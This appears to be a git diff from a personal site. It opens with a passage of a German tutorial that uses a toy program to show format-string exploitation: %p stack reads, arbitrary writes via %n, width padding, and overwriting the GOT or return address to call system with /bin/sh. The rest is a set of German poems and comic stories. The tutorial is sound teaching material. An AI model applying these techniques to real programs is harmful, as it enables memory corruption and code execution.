254 | Zweitens liegt, wie eben erwaehnt, auch der Format-String | ||
255 | nocheinmal im Stack weiter oben rum, die 0x41414141 sind | ||
256 | unsere AAAA in der Kommandozeile. | ||
257 | |||
258 | Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin | ||
259 | entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer | ||
260 | weniger und tun dafuer ein %n hin: | ||
261 | |||
262 | # ./test "AAAA%p %p %p %p %p %p%n %p %p" | ||
263 | test auf: 0xbfbff6c0 | ||
264 | test enthaelt: 0x23232323 | ||
265 | |||
266 | Segmentation fault (core dumped) | ||
267 | |||
268 | Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt | ||
269 | nicht mit den Formatstrings rum. Aber was genau hab ich jetzt | ||
270 | kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n | ||
271 | vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau | ||
272 | bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als | ||
273 | naechstes 0x41414141. Und dieser Wert wird ja nun bei einem | ||
274 | %n als Adresse einer int interpretiert, an die der aktuelle | ||
275 | Character-Count geschrieben werden soll. Und an 0x41414141 | ||
276 | befindet sich kein lesbarer Speicher. Also kein Geheimnis. | ||
277 | Aber wer jetzt einen Exploit entdeckt hat, soll sich mal | ||
278 | melden. Genau... die 0x41414141 kommt ja direkt aus unserem | ||
279 | Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege | ||
280 | da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? | ||
281 | Wir haetten da sogar noch eine ueber: | ||
282 | 0xbfbff6c0 | ||
283 | Da liegt naemlich die Variable test und es ist sogar eine int. | ||
284 | Als String sieht die Adresse so aus: | ||
285 | Ungewoehnlich, aber wat solls, solange kein % und kein \000 | ||
286 | dabei ist, soll uns das nicht stoeren :) | ||
287 | Wir probieren das einfach mal aus: | ||
288 | |||
289 | # ./vuln "%p %p %p %p %p %p%n %p %p" | ||
290 | test auf: 0xbfbff6c0 | ||
291 | test enthaelt: 0x2323232323 | ||
292 | |||
293 | 0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
294 | test enthaelt: 0x42 | ||
295 | |||
296 | An der Stelle, wo da zwei Leerzeichen hintereinander sind, | ||
297 | wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt | ||
298 | 0x42. | ||
299 | |||
300 | Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum | ||
301 | Doppelleerzeichen 66 ausgegebene Characters. | ||
302 | |||
303 | Wir haben es also geschafft, an eine beliebige Adresse einen | ||
304 | leider noch einigermassen zufaelligen Wert zu schreiben, das | ||
305 | soll sich jetzt aendern. Was wir brauchen, ist eine wohl- | ||
306 | bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. | ||
307 | Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, | ||
308 | damit wir mit ihnen rechnen koennen. Dat jeht so: | ||
309 | |||
310 | # ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p " | ||
311 | test auf: 0xbfbff6c0 | ||
312 | test enthaelt: 0x23232323 | ||
313 | |||
314 | 0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 | ||
315 | test enthaelt: 0x3D | ||
316 | |||
317 | und mit der letzten koennen wir noch ein wenig spielen: | ||
318 | |||
319 | ./test "%8p%8p%8p%8p%111638553p%999999999p%n " | ||
320 | test auf: 0xbfbff6b0 | ||
321 | test enthaelt: 0x23232323 | ||
322 | |||
323 | 0x1bff5c80xbfbff60c0x2804d7990x8048337 | ||
324 | test enthaelt: 0x42424242 | ||
325 | |||
326 | Ich musste fuer die grossen Zahlen leider noch ein wenig an der | ||
327 | Adresse von test rumspielen, aber im Prinzip ist zu erkennen, | ||
328 | dass ich an jede Adresse jeden Wert schreiben kann. Was habe | ||
329 | ich getan? Man kann fuer Zahlenkonvertierungen in printf eine | ||
330 | width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt | ||
331 | wird, wenn die Zahl nicht breit genug wird. Und das koennen nu | ||
332 | auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man | ||
333 | auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn | ||
334 | man mal eine valide Adresse wohin schreiben will. Und netterweise | ||
335 | liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, | ||
336 | sondern die der "theoretisch" geschriebenen in %n zurueck, was | ||
337 | dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... | ||
338 | |||
339 | Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, | ||
340 | man uebergibt diesen einfach mit im Formatstring und kann die | ||
341 | Einsprungadresse punktgenau auf den Stack werfen. Waere aber | ||
342 | eigentlich eine Schande, denn Formatstringexploits sind so fili- | ||
343 | gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen | ||
344 | return adressen eigentlich nur raten. | ||
345 | |||
346 | Viel eleganter ist es, die GOT des binaries zu veraendern. | ||
347 | Dies ist die global object table, und dort hinein kommen fuer | ||
348 | alle Funktionen, die aus Libraries eingebunden werden, die | ||
349 | Adressen. Der Vorteil ist, dass bei fast allen Standard- | ||
350 | anwendungen die GOT ungefaehr gleich aussieht. Wenn man die | ||
351 | Adresse des fopen-calls einfach mit der des system-calls ueber- | ||
352 | schreibt, koennte man einen Teil des formatstrings glatt von | ||
353 | einer Shell interpretieren lassen. | ||
354 | |||
355 | Dies ist insoweit im Moment spannend, da ernsthaft damit ange- | ||
356 | fangen wird, den Stack non-executable zu mappen und damit buffer | ||
357 | overflows und darin befindlicher Shellcode zu verhindern. | ||
358 | |||
359 | Dies liesse noch Spielraum fuer eine weitere Option, naemlich | ||
360 | die Ruecksprungadresse der printf-aufrufenden Funktion zu | ||
361 | ueberschreiben und zwar mit der Einsprungadresse von system, | ||
362 | wenn man davor eine Adresse irgendwo im eigenen Formatstring | ||
363 | hinpackt, kann man den Formatstring wie folgt gestalten: | ||
364 | |||
365 | "/../../../../../../../../../bin/sh" | ||
366 | |||
367 | die ../'s sind naemlich eigentlich auch NOPs. | ||
diff --git a/stories/poetry/MeinVortrag/templ.html b/stories/poetry/MeinVortrag/templ.html new file mode 100644 index 0000000..4592390 --- /dev/null +++ b/stories/poetry/MeinVortrag/templ.html | |||
@@ -0,0 +1,7 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="1.html"><-</A><A HREF="1.html">-></A> | ||
3 | |||
4 | |||
5 | |||
6 | |||
7 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/SeinSohn.md b/stories/poetry/SeinSohn.md new file mode 100644 index 0000000..4551cba --- /dev/null +++ b/stories/poetry/SeinSohn.md | |||
@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: Sein Sohn | ||
3 | .. date: 2004/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | "Ach weißt du, mein Junge, damals war alles ein wenig komplizierter, als heute. Da gab es einen König, der war groß und mächtig, und das nur, weil er behauptete, alle Menschen mit großen Ohren seien dümmer und generell schlechter,als die mit kleinen Ohren und das gefiel den Menschen mit kleinen Ohren natürlich und es wurden Experimente gemacht und alle Menschen mit großen Ohren sollten das Königreich verlassen und alle, die es trotz großer Ohren nicht verlassen wollten, wurden eingesperrt, damit kein Kleinohriger mehr den anstößigen Anblick großer Ohren ertragen mußte. | ||
8 | |||
9 | Da es dem König aus dem Nachbarreich egal war, welche Ohren die Menschen hatten und sich die beiden Könige noch nie leiden konnten, begann ein Krieg zwischen den Königreichen. | ||
10 | |||
11 | Da begab es sich eines Tages, daß eine Frau mit ihrem Sohn beim Hofe des Königs Einlass begehrte, verlangte den König zu sprechen, ihre Kapuze lüftete, welche den Blick auf besonders große Ohren freigab, und die empörte Verdutztheit über frei herumlaufende Großohren ausnutzte, sich an der Torwache vorbeizudrängeln. | ||
12 | |||
13 | Im Hofstaat angekommen, behauptete sie, daß ihr Sohn vom König sei und daß sie das auch beweisen könne und nachdem sie es bewies und da das bedeutete, daß der König gelogen und Großohrige nicht immer verachtet hatte und somit seine Macht verloren hätte, wurde beschlossen, die Frau nicht vorzulassen und niemandem weiter von der Sache zu erzählen und sie und ihr Sohn verschwanden im Kriegsgetümmel." | ||
14 | |||
15 | "Und, Opa... wenn niemand weiter davon gewußt hat ... dann warst du also dieser Junge?" | ||
16 | |||
17 | "Nein - ich habe ihn erschlagen." | ||
diff --git a/stories/poetry/Unreal.md b/stories/poetry/Unreal.md new file mode 100644 index 0000000..6780d3f --- /dev/null +++ b/stories/poetry/Unreal.md | |||
@@ -0,0 +1,27 @@ | |||
1 | <!-- | ||
2 | .. title: Unreal | ||
3 | .. date: 2005/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Unreal ist er, der Gedanke,<br/> | ||
8 | der uns beide verbindet.<br/> | ||
9 | Teils laengst gestorben<br/> | ||
10 | und beerdigt<br/> | ||
11 | und fleissig mit Traenen<br/> | ||
12 | und Giesskannen begossen<br/> | ||
13 | und mit Bluemchen<br/> | ||
14 | und Straeuchern bepflanzt<br/> | ||
15 | und wiederherbeigefleht<br/> | ||
16 | und doch gefuerchtet<br/> | ||
17 | und verwunschen<br/> | ||
18 | und vielleicht rastloser<br/> | ||
19 | und unheiliger Geist nur<br/> | ||
20 | und fluechtend aus kaltem<br/> | ||
21 | und nassem Grabe<br/> | ||
22 | und auf der Jagd, mich<br/> | ||
23 | und dich ungluecklich<br/> | ||
24 | und allein zu sehen.<br/> | ||
25 | Teils immer noch da<br/> | ||
26 | und tausenfach um uns herum<br/> | ||
27 | und nur nicht fuer mich. | ||
diff --git a/stories/poetry/aussage1.md b/stories/poetry/aussage1.md new file mode 100644 index 0000000..0361cbf --- /dev/null +++ b/stories/poetry/aussage1.md | |||
@@ -0,0 +1,7 @@ | |||
1 | <!-- | ||
2 | .. title: Aussage 1 | ||
3 | .. date: 2000/12/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Geht nicht, mein ich. Man kann nicht schreiben, was keiner wissen will. Und wenn ich dir wirklich soviel bedeute, kann es besser sein, daß wir uns sofort voneinander trennen ohne, daß du merkst, was ich eigentlich wirklich von dir will. Bedenke: bei allem, was immer ich auch von mir gebe, du wirst nie daß, was ich gerade denke und fühle, in Erfahrung bringen. Denke nicht, daß du jetzt weißt, was ich sagen will, ich weiß es selber nicht. Warum auch? Aus der bloßen Tatsache, daß wer was schreibt, schließe nicht, daß ich auch irgendwas zu sagen habe. Und laß dich bloß nicht von mir belehren, wie du mit dem umzugehen hast, was ich dir eh vorenthalte. Denn nichts ist, wie es scheint und Floskeln machen Texte länger, erhöhen aber den Aussagegehalt genau so wenig, wie rhetorische Anfragen an dich, nicht wahr. Du meinst, alles, was du bis jetzt lesen konntest, läßt dich ein Bild von mir bilden, was, wenn jetzt etwas ganz Unerwartetes kommt? Scheiße. Trennst du Müll, bringt es was? Wählst du etwa? Interessierst dich Politik? Hast du Ahnung von Vögeln? Und magst du platte oder schlüpfrige Doppeldeutigkeiten? Paßt es dir, daß ich dich duze? Mußt das ja nicht lesen. War sicherlich eh nicht für dich geschrieben, also reg dich nicht auf und lies brav weiter, sei doch aber nicht so passiv und erwarte vor allem nicht, daß ich dir sage, was du zu tun hast, glaube mir aber alles, was du sagst. Wartest du auf Wahrheiten? Das Orakel ist müde und Poesie ist nur etwas für Ausgeschlafene. Können wir nicht einfach gute Freunde sein und alles brüderlich teilen? Bloß nicht mein Wissen, aber wahr ist doch eh nur, was du auch wahr haben willst, warum gehst du nicht und machst dir deine eigenen Gedanken. 9 mal 2 ist 12. Wenn wir doch nur die selbe Basis hätten. Und steckt nicht in jeder Lüge ein Körnchen Wahrheit und wurzelt nicht jeglicher Fortschritt in der Unwahrheit, gehen dir meine Assoziationen zu weit? Und ist all mein Schaffen nicht Teil einer gigantischen Verschwörung von der du ob ihrer Komplexität bisher nichts ahntest, oder soll ich dafür wieder das Bild des Hamsters in seinem fortschrittsbehindernden Umfeld bemühen. Ich erfülle meine Voraussagung aber will mich nicht selber zitieren, schau selbst, was ich meinen könnte, vielleicht denkst du ja jetzt doch schon, wie ich, mag sein, du wolltest es gar nicht. Man hätte aber mal darüber nachdenken können. | ||
diff --git a/stories/poetry/aussage2.md b/stories/poetry/aussage2.md new file mode 100644 index 0000000..8c48ee7 --- /dev/null +++ b/stories/poetry/aussage2.md | |||
@@ -0,0 +1,7 @@ | |||
1 | <!-- | ||
2 | .. title: Aussage 2 | ||
3 | .. date: 2000/12/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Ich finde Texte einfach zum Kotzen. Ich hasse Provokationen. Du solltest versuchen, diesen Text weder als Provokation noch als Text aufzufassen oder deine Attitüde zu der meinen verschieden wählen. Oder einfach aufhören diesen provozierenden Text zu lesen oder vielleicht einfach selber entscheiden, wovon du dich provoziert fühlst, gib nichts auf meine Auffassungen von mir selbst, oder dem Bild, welches ich von dir habe, entsprich ihm. Du hast eh keine Wahl. Stell dir lieber vor, welches Bild ich von dir habe und überdenke deines. Warum ich wohl sowas schreib und warum du es dann auch noch liest, sind wir uns nun deswegen ähnlich oder gerade nicht? Manipulier ich dich? Glaubst du, daß du merkst, wie ich dich manipuliere, warum hörst du nicht auf, zu lesen? Bist du der Meinung, die Kontrolle zu behalten? Funktioniert so Politik, wählst du dir deine Gesprächspartner nicht normalerweise gründlicher aus, was meinst du, wie wohl dialogische Kommunikation zwischen uns aussähe? Meinst du, du wüßtest, was zu sagen wäre, meinst du, ich wüßte es? Denkst du, du erfährst hier mehr über mich, als wenn du auch was zu sagen hättest, denkst du, du erfährst irgendetwas über mich, denkst du, ich wäre durchschaubar? Was hältst du von Texten? Dumme Frage. Auch sehr kategorisch, meine Meinung, findest du nicht? Kategorisierst du damit nicht auch? Ich denke nicht. War es zu offensichtlich? Nimmt der Strom nicht seltsam verschlungene Wege, ist es doch gottgegeben oder widerspricht sich das garnicht oder sollte ich mir als Atheist auch kein Bildnis machen? Soll ich nun provozieren? Ist Religion nicht ein heikles Thema, oder kommt das auf den Gegenüber an? Liest es sich noch so leicht ohne Führung? Konntest du mir folgen? Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Und guck mich gefälligst an, wenn ich mit dir rede. Und sitz nicht so nachdenklich da, sag was. Achte nicht auf die Menschen um dich herum. Es tut gut, was zu sagen. Kritisiere, was du gerade liest und begehre dagegen auf. Erkenne die Schwachstellen und lass dich nicht beeinflussen. Und denke später darüber nach. Tu, wonach dir ist und gib nichts auf gutgemeinte lebensfremde Phrasen, aber lies erst zuende. Ist ja nicht mehr weit und sicherlich hättest du auch so getan, wonach dir ist. Denkst du. Nein, du tust es ja nicht mal. Und wirst es auch nicht. Ich auch nicht. | ||
diff --git a/stories/poetry/aussage3.md b/stories/poetry/aussage3.md new file mode 100644 index 0000000..e48bb03 --- /dev/null +++ b/stories/poetry/aussage3.md | |||
@@ -0,0 +1,7 @@ | |||
1 | <!-- | ||
2 | .. title: Aussage 3 | ||
3 | .. date: 2000/12/03 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Und da sitzen wieder zwei Menschen, zeitversetz, aber fast gegenüber, vor fast der selben Menge Wort. Für den einen ist sie noch nicht einmal fertig, für den anderen weitestgehend unverständlich. Das macht aber nichts. Bis jetzt haben nämlich beide keine Ahnung, was darin steht. Und seltsamerweise aendert sich da mit jedem Wort, ebenfalls für beide. Und das macht durchaus etwas aus. Zeigt es denn nicht, daß man sich auf den anderen einläßt? Nein. Denn der eine weiß nichts vom Anderen, außer dem Offentsichtlichem. Wahrscheinlich könnten sich beide nicht einmal leiden. Soll ich deutlicher werden? Im Passiv zu schreiben wirkt zu nachdenklich. Man sollte ja denken, daß ich genug Zeit zum Nachdenken gehabt hätte. Wenn nicht kannst du ja fuer mich weiter denken. Dir bleibt ja wohl noch genug Zeit dafür. Eigentlich verpflichtest du dich ja dadurch, daß du weiterliest, geradzu dazu. Man kann ja nicht an alles denken. Man sollte nicht zu fordernd sein. Man ist ja auch nicht mehr der Jüngste. Man flüchtet sich zu leicht wieder ins Passiv. Und reiht sinnlos Hauptsätze aneinander. Eigentlich hab ich gar keine Lust weiterzuschreiben. Ehrlich. Und du? Ehrlich, hast du eben ans weiterlesen oder weiterschreiben gedacht? Man, läßt du dich leicht in eine Rolle weisen!? Hast du dich jemals gefragt, ob dein ganzes Leben ein perfides Spiel ist. Eingefädelt zur Belustigung. Und bestimmt nicht deiner. Aber würdest du dann darauf hingewiesen werden? Wäre ja nicht in derem Sinne. Ist also dieser Text der Beweis, dass dem nicht so ist? Oder gerade? Oder gerade deswegen wieder nicht? Oder ab welcher Metaebene? Was hat das eigentlich mit diesem Text zu tun. Du schweifst ab! Lies gradliniger! Und sitz gerade! Muss man dich denn immer erinnern? Beim nächsten Mal fängst du wieder von vorne an. Sollte man man drüber nachdenken, aber nicht jetzt. Das lenkt zu sehr vom Lesen ab. Da gibt es nichts bei zu denken. War ja auch nicht abzusehen, dass wir so weit kommen. Und nun? Was sollen wir hier? Vielleicht mal rekapitulieren. Meinst du, daß du ansprechender schreiben würdest, als ich, daß dir deine Texte besser gefallen würden, als meine? Warum machst du dan keine? Das ist gar nicht so schwer. Ich werd es nicht lesen. Jemand anderes wird. Genau das hab ich mir nämlich auch gedacht. Vielleicht bist du ja der erste. Bilde dir nichts darauf ein! Das mach ich ja auch nicht. | ||
diff --git a/stories/poetry/baecker.md b/stories/poetry/baecker.md new file mode 100644 index 0000000..dcd9177 --- /dev/null +++ b/stories/poetry/baecker.md | |||
@@ -0,0 +1,32 @@ | |||
1 | <!-- | ||
2 | .. title: Bäcker | ||
3 | .. date: 2002/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Ne Baeckerlehre. Irgendwas profanes. Da hat man sich dann schon einmal durchgerungen, am Kaffeetisch im Familien- und Freundeskreis der Eltern teilzunehmen, faehrt extra raus in die Pampa und dann das. | ||
8 | |||
9 | Computerexperte. | ||
10 | |||
11 | VERDAMMT! | ||
12 | "Mein Sohn ist Computerexperte!" Und das mit einem Laecheln, dass dieses Wort nach "Bundeskanzler" klingen laesst, oder "Bankdirektor". Nun weiss man, dass man verloren hat. | ||
13 | |||
14 | Alles kommt wieder hoch. All diese "Mutti, du kennst dich doch mit diesem Betriebssystem viel besser aus, als ich". Nein tut sie nicht und dann beweist sie, waehrend man schwitzend durch irgendwelche Systemsteuerungshilfen clickt, dass sie es doch besser weiss. Klar sie wuerden es alleine schaffen, jedes Mal, aber sie brauchen einen ja, damit man die Fehler macht, die sie vermeiden wollen, nur um dann ganz generoes darueber hinwegschauen zu koennen und einem ganz unauffaellig zu zeigen, wieviel Erfahrung sie schon gesammelt haben. Als ob das nun nicht schon alles genug waere, und Telefon- und Benzinkosten beliebiger Hoehe verursacht haette, sitzt man an dieser bekloppten Kaffeetafel und schluckt und versucht, alle Aehnlichkeit mit Bill Gates zu vermeiden, stopft sich mehr Kuchen in den Mund und schluckt und versucht, nicht wie ein voelliger Trottel auch noch rot zu werden, als ob man stolz drauf sei. Aber eigentlich weiss man, dass es keinen Zweck hat. Man hat verloren. | ||
15 | |||
16 | Das sieht man daran, dass einen alle mit so ganz anderen Augen angucken. Man ist ploetzlich ein Nuetzling. Ein Trottel zwar, aber nuetzlich. Und man sieht an seinem inneren Augen schon die Situationen vorbeihuschen: | ||
17 | |||
18 | Der Cousin, der sich "irgendwo im Interweb einen Trojaner-Virusprogramm" eingefangen hat und man darf da antanzen, clickt ein wenig herum, bekommt in der Browseraddresshistory Ferkelwoerter zu sehen, die einem einen ungefaehren Eindruck verschaffen, mit welcher Hartnaeckigkeit da gesucht wurde und von denen ein Grossteil da nicht im Traum einfallen wuerde, obwohl man ja selber auch nicht voellig.. aber egal! Man nickt ein paar mal bedeutend und schuettelt hier und dort den Kopf und wenn der Cousin dann irgendwas von "Iloveyou" und "Melissa" brabbelt, faellt einem nix weiter ein als "Ja, hab ich auf Heise gelesen, aber weiss ich jetzt auch nicht" und dann sieht man dieses schnippische "pah". Dieses "und du willst was von Computern verstehen". Und zu NetBSD und dem Apache, den man vorhin installiert hat und dem CryptoFS, an dem man grade codet, gibz nur ein "hab ich laengst durchgespielt" und man weiss, dass man Federn verloren hat, aber da nie wieder hin muss. | ||
19 | |||
20 | Und da sitzt man nun, kaut auf Gabel und Kuchen und alle warten auf den Startschuss zur Hatz. Da gibt es immer einen widerlichen neuen Liebhaber irgendeiner Tante, der einem ganz scheinheilig zwei voellig aus der Luft gegriffene Monitortypen an den Kopf wirft und man soll nun entscheiden, welchen er kaufen soll nur um mit dieser Meinung gleich auseinander genommen zu werden. Man rettet sich mit Phantastereien ueber Lochmasken vom LCD Schirm und ist erloest. | ||
21 | |||
22 | Vorerst nur, dank derselben bloede Tante, die den Typen angeschleppt hat, die macht naemlich einen Witz ueber Bankraeuber mit ihren Lochmasken. Die Meute hat nun mit der gestrigen Bildzeitung und dem schlimmen Bankueberfall genug zu tun, um vom heroischen Fluchtversuch abzulenken, den man dann notfuerftig als Toilettenbesuch getarnt, unternimmt. Saesse man noch da, wenn sie sich einem wieder widmeten, liefen man leicht Gefahr, jegliche Selbstachtung zu verlieren. Stattdessen steht der sehr verstaendnisvolle Opa im Flur, der unbedingt wissen will, was man denn da so gerade arbeitet und irgendwie tut es einem ernsthaft leid, dass das enttaeuschte Nichtverstehen in seinen Augen schon nach dem zweiten Buzzword durchfackelt. | ||
23 | |||
24 | Und wieder uebermannt einen ein Bild drohenden Uebels. Situation: gemuetlicher Abend, Programmieren an der Weltverbesserung. Grundnahrungsmittel und Brot, eine gute Playlist, naechsten Morgen nicht frueh aufstehen... und dann natuerlich ploetzlich Telefon. Und dann vier Stunden irgendeinem Verwandten oder Bekannten eines Verwandten nur unter Zurhilfenahme eines XP auf dem Scancomputer in der Firma als Referenz beschreiben wie man unter Win95 versteckte Dateien einblendet und dlls ins Pluginverzeichnis des CD-Rippers kopiert, dass natuerlich nicht ueber den Startknopf im zweiten Menue sondern im Explorer, der aber dummerweise Arbeitsplatz heisst... | ||
25 | |||
26 | dabei kann man gerade noch verhindern, auf dem Rueckweg vom Klo in das Nachbarskind zu rennen, dass inzwischen schon gross und ansehnlich geworden ist, und steht paralysiert da, wie man es aus schlechten Filmen kennt, wo auch der ekligste, pickelige Computerhacker doch noch das Cheerleadermaedchen abbekommt, und bestaetigt alle Stereotype und huscht durch das Wohnzimmer zurueck in das ehemalige Zimmer, das laengst zum Buero umfunktioniert wurde und tastet sein Gesicht nach Pickeln ab. | ||
27 | |||
28 | Noch waehrend man den Obstkuchenfleck auf seinem Alt-F4 Shirt breitreibt, hoert man vor der Tuer die Nachbarskinder tuscheln und "wenn du mich aergerst, hol ich meinen grossen Bruder und der haut dich" scheint obsolet zu sein, jetzt bedrohen sie sich mit "dann hackt der dein Konto" und das geht spaetestens dann schief, wenn sie uebermuetig den Dorffaschos mit "und der macht dir Punkte in Flensburg" drohen. | ||
29 | |||
30 | Und langsam reift die Erkenntnis, dass man seinen Eltern erzaehlen will, man wuerde jetzt Baecker oder Kfz-Mechaniker oder Bankdirektor. | ||
31 | |||
32 | Oder Bundeskanzler! | ||
diff --git a/stories/poetry/bsd.vs.linux.md b/stories/poetry/bsd.vs.linux.md new file mode 100644 index 0000000..cd5c4fd --- /dev/null +++ b/stories/poetry/bsd.vs.linux.md | |||
@@ -0,0 +1,11 @@ | |||
1 | <!-- | ||
2 | .. title: BSD vs. Linux | ||
3 | .. date: 2002/02/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | The daemon and penguin are fighting,<br/> | ||
8 | under which license thou should be writing.<br/> | ||
9 | But an a closer look,<br/> | ||
10 | to me it is enuk,<br/> | ||
11 | that emacs has syntax high-li-ting!<br/> | ||
diff --git a/stories/poetry/domizil.md b/stories/poetry/domizil.md new file mode 100644 index 0000000..8caa24d --- /dev/null +++ b/stories/poetry/domizil.md | |||
@@ -0,0 +1,19 @@ | |||
1 | <!-- | ||
2 | .. title: (erdgeist II) Domizil | ||
3 | .. date: 2002/12/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wohl dem, der die Einsamkeit noch<br/> | ||
8 | als Schatten begreift und nicht<br/> | ||
9 | als das Universum, aus dem man<br/> | ||
10 | vereinzelt nur Sternstunden<br/> | ||
11 | der Freiheit sich pflueckt.<br/> | ||
12 | Und welch Unglueck fuer den,<br/> | ||
13 | der sich, vom Instinkt ueberwaeltig,<br/> | ||
14 | des Lichts entsagt, nur um einem<br/> | ||
15 | sich selbst nie erfuellenden Traum<br/> | ||
16 | der Freiheit nachzugehn.<br/> | ||
17 | Ich hingegen habe mein Domizil gefunden,<br/> | ||
18 | in das bisher noch alle wandernden Seelen<br/> | ||
19 | frueher oder spaeter zurueckfanden. | ||
diff --git a/stories/poetry/dreiviertel b/stories/poetry/dreiviertel new file mode 100644 index 0000000..0aba2f6 --- /dev/null +++ b/stories/poetry/dreiviertel | |||
@@ -0,0 +1,33 @@ | |||
1 | C D | ||
2 | Schnee im April im Cafe auf der Strasse | ||
3 | G a E | ||
4 | eiskalt erwischt beim Treffen mit dir | ||
5 | C D | ||
6 | Erfrorene Worte schlittern nun rastlos | ||
7 | G E | ||
8 | taumelnd und einsam vor mir | ||
9 | |||
10 | Eiszapfen gleich stechen die Blicke | ||
11 | die deine verschneiten Augen verteiln | ||
12 | zieh dich warm an und geniesse die Stunden | ||
13 | die Glueck und Elend bei dir noch verweiln. | ||
14 | |||
15 | C d | ||
16 | Wohin immer du gehst, | ||
17 | E F | ||
18 | was auch immer dich treiben mag | ||
19 | G a | ||
20 | die Zeit ist vorbei, | ||
21 | B A | ||
22 | wo die Zeit noch Gefangene macht. | ||
23 | |||
24 | Was auch immer du suchst, | ||
25 | |||
26 | wer auch immer dich finden mag, | ||
27 | |||
28 | die Zeit gibt kleinbei, | ||
29 | |||
30 | wenn du ihr nur ein Laecheln schenkst. | ||
31 | |||
32 | Regen im Mai beim Konzert auf der Wiese | ||
33 | klatschnasse | ||
diff --git a/stories/poetry/elokpaula.md b/stories/poetry/elokpaula.md new file mode 100644 index 0000000..a89d4e6 --- /dev/null +++ b/stories/poetry/elokpaula.md | |||
@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: E-Lok Paula | ||
3 | .. date: 1999/12/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Und da saß ich nun im Bummelzug von New York nach Idar Oberstein, nachdem ich gerade erfolgreich am Ärztekongreß über postmortale Harninkontinenz teilgenommen & natürlich alle in Grund & Boden debattiert hatte. Alles lief seinen üblichen Gang: kurz vor Einfahrt des Zuges war meine Tasche auf die Gleise gefallen, weshalb mein neu erstandenes Vibratorset jetzt leicht verbogen ist, zwei Mexikanerjungen, die für ein geringes Bakshish Koffer für die Reisenden tragen, verloren ihr Leben, als sie sich im Kampf um meinen Rollcontainer gegenseitig gegen die Hochspannungsleitungen warfen & der Lokführer schoß uns den Weg durch den Pöbel frei, der keine Platzkarte bekommen hatte. Der Pöbel zog 'ne Flappe & verstreute sich dann. | ||
8 | |||
9 | Doch nun saß ich gemütlich im Zug, probierte alle meine neuen Deosticks aus & erfreute mich an der Zugluft, als eine Stewardeß bestürzt durch mein Apartment stolperte & schrie: "Sie muß verrückt geworden sein... zur Hülf!" worauf sie durch mein offenes Kellerfenster nach jenseits der Gleise sprang. Aber weit gefehlt. | ||
10 | |||
11 | Niemand war verrückt geworden, es lagen nur gehörige Mißverständnisse vor, aber dazu später dann mehr. Plötzlich kam ich, um den Faden wieder aufzunehmen, auf die Idee, meine Geschichte nicht mehr in der Vergangenheitsform zu erzählen & das tue ich nun. Ich werde also, um die Spannung aus dem Plot zu nehmen, dorthin laufen, woher die aufgeregte junge Dame gekommen sein wird & dort feststellen, daß erstens ich barfuß in einer Ölpfütze stehe & zweitens die Kuhüberreste, die sich am seitlichen Fenster langsam in einer der Fahrtrichtung entgegengesetzten... äh Richtung entlang schleifen lassen werden, darauf hindeuten können würden, daß mit der 293,70 Euro teuren Zugfahrt etwas nicht stimmen wird. Ich vermute später nachdem ich mit dem Futur ebenfalls gebrochen habe, daß sich der Grund hierfür im Speisewagen befände; nach einer Odyssee durch Nicht- & - Raucherabteils, Bordtelefone, verschiedene Kulturmetropolen & ein heruntergekommenes Fischgeschäft würde ich aber eines Besseren belehrt: Ich träfe nämlich den Lokomotivführer, der mir erklärte, mein Konjunktiv wäre zutiefst unpassend & die Lok spielt verrückt. Ich schleiche mich also in den Führerstand, weiche eins, zwei entgegenkommenden Ampeln aus, die Ölflecke an meine Füßen ein & frage die Lok entspannt, was los sei. Sie erwidert, von mir jetzt kurz zusammengefaßt, ihre Probleme seien größtenteils sexueller Natur (was ich ihr natürlich nicht glaube) worauf das gesamte Publikum grölt. Daraufhin ist sie noch beleidigter & setzt gerade an, die Schneise die sie eben in den Wald wälzt, Richtung Fluß zu lenken, als ich aus dem gerade heimlich hervorgekramten Führer zum "Umgang mit manisch depressiven Triebfahrzeugen" die einfühlsamen Worte "Erzähl mir doch deine Geschichte" vorlese. Das lenkt die Lok für ein paar Sekunden ab & noch bevor sie ihre halbfertigen Memoiren zur Hand hat, kann ich einen Selbstzerstörungsmechanismus installieren & abspringen. Als Paula, so hieß laut dem Aufdruck auf ihrem Tagebuch, auf das ich einen heimlichen Blick erhaschen konnte, die Lokomotive, also als Paula klar wird, was geschehen war & in Ermangelung von Extremitäten Extremisten beauftragt, den Selbstzerstörungsmechanismus in die 